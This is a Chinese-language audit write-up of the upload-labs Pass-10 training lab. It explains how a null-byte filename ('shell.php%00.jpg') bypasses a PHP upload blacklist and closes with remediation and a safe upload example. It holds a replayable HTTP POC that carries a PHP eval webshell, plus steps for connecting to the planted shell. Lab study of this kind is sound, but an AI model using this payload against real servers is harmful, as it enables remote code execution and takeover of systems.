upload-labs 文件上传漏洞靶场代码审计报告
一、靶场信息
| 项目 | 内容 |
|---|---|
| 靶场名称 | upload-labs |
| 关卡编号 | Pass-10 |
| 漏洞类型 | 空字节截断绕过(Null Byte Truncation) |
| 审计日期 | 2026-08-09 |
| 目标文件 | Pass-10/index.php |
二、漏洞概述
Pass-10 建立了较完整的黑名单,并对文件名执行了去点、小写转换、去 ::$DATA 和去空处理,且保存时使用了原始文件名。但在 PHP 5.2.x 等旧版本中,文件名字符串中的空字节(%00)会导致字符串被截断。攻击者可以上传名为 shell.php%00.jpg 的文件,扩展名检查看到的是 .jpg(通过校验),而 move_uploaded_file() 实际保存为 shell.php,从而绕过黑名单执行 WebShell。
- 危险等级:高危
- 影响范围:PHP < 5.3.4 且未启用
magic_quotes_gpc修复的环境中可执行
三、问题代码位置
文件路径:Pass-10/index.php
问题代码片段(第 9-22 行):
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
四、漏洞分析
4.1 为什么存在这个问题
在 PHP 5.2.x 等旧版本中,C 风格字符串以空字节(\x00)作为结束符。PHP 在处理文件名时,如果字符串中出现空字节,会将其后的内容截断。本关中,$_FILES['upload_file']['name'] 为 shell.php\x00.jpg 时:
strrchr('shell.php\x00.jpg', '.')返回.jpg,不在黑名单中,校验通过。move_uploaded_file()接收到完整路径upload/shell.php\x00.jpg,由于空字节截断,实际保存为upload/shell.php。
4.2 校验逻辑缺陷
- 黑名单校验只针对
strrchr()提取的最后一个扩展名,未考虑文件名中包含空字节的情况。 - 保存路径直接使用用户可控的文件名,未对空字节等控制字符进行过滤。
- 依赖存在已知空字节截断漏洞的 PHP 版本。
五、利用思路
攻击者构造文件名为 shell.php%00.jpg 的 WebShell。服务端扩展名检查看到的是 .jpg,黑名单校验通过。move_uploaded_file() 在保存时因空字节截断,实际生成 shell.php,从而绕过黑名单限制。
六、POC(Yakit 可直接重放)
6.1 前提条件
- 靶场访问地址:
http://target.com/upload-labs/Pass-10/index.php - PHP 版本低于 5.3.4(upload-labs 推荐 PHP 5.2.17)
- WebShell 内容示例:
<?php @eval($_POST['cmd']); ?>
6.2 Yakit 重放 HTTP 请求包
POST /upload-labs/Pass-10/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.php%00.jpg"
Content-Type: application/octet-stream
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--
6.3 利用步骤
- 在 Yakit 中新建 HTTP 请求并粘贴上述 POC。
- 修改
Host为实际靶场地址。 - 发送请求,服务端返回上传成功。
- 访问上传文件:
http://target.com/upload-labs/upload/shell.php(空字节后的.jpg被截断)。 - 使用 Webshell 管理工具连接,密码
cmd。
七、修复建议
- 过滤空字节等控制字符:对文件名进行正则校验,禁止
\x00等不可见字符。 - 使用白名单机制:仅允许安全的图片后缀。
- 重命名上传文件:使用随机文件名,不保留用户原始文件名。
- 升级 PHP 版本:PHP 5.3.4 及以上修复了空字节截断问题。
- 上传目录禁止脚本执行:从 Web 服务器层限制解析。
安全代码示例
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$file_name = $_FILES['upload_file']['name'];
// 拒绝包含空字节的文件名
if (strpos($file_name, "\x00") !== false) {
die('非法文件名');
}
$ext = strtolower(trim(pathinfo($file_name, PATHINFO_EXTENSION)));
if (!in_array($ext, $allowed_ext)) {
die('只允许上传图片文件');
}
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $new_name);
八、参考链接
- upload-labs 项目地址:https://github.com/c0ny1/upload-labs
- OWASP 文件上传漏洞说明:https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload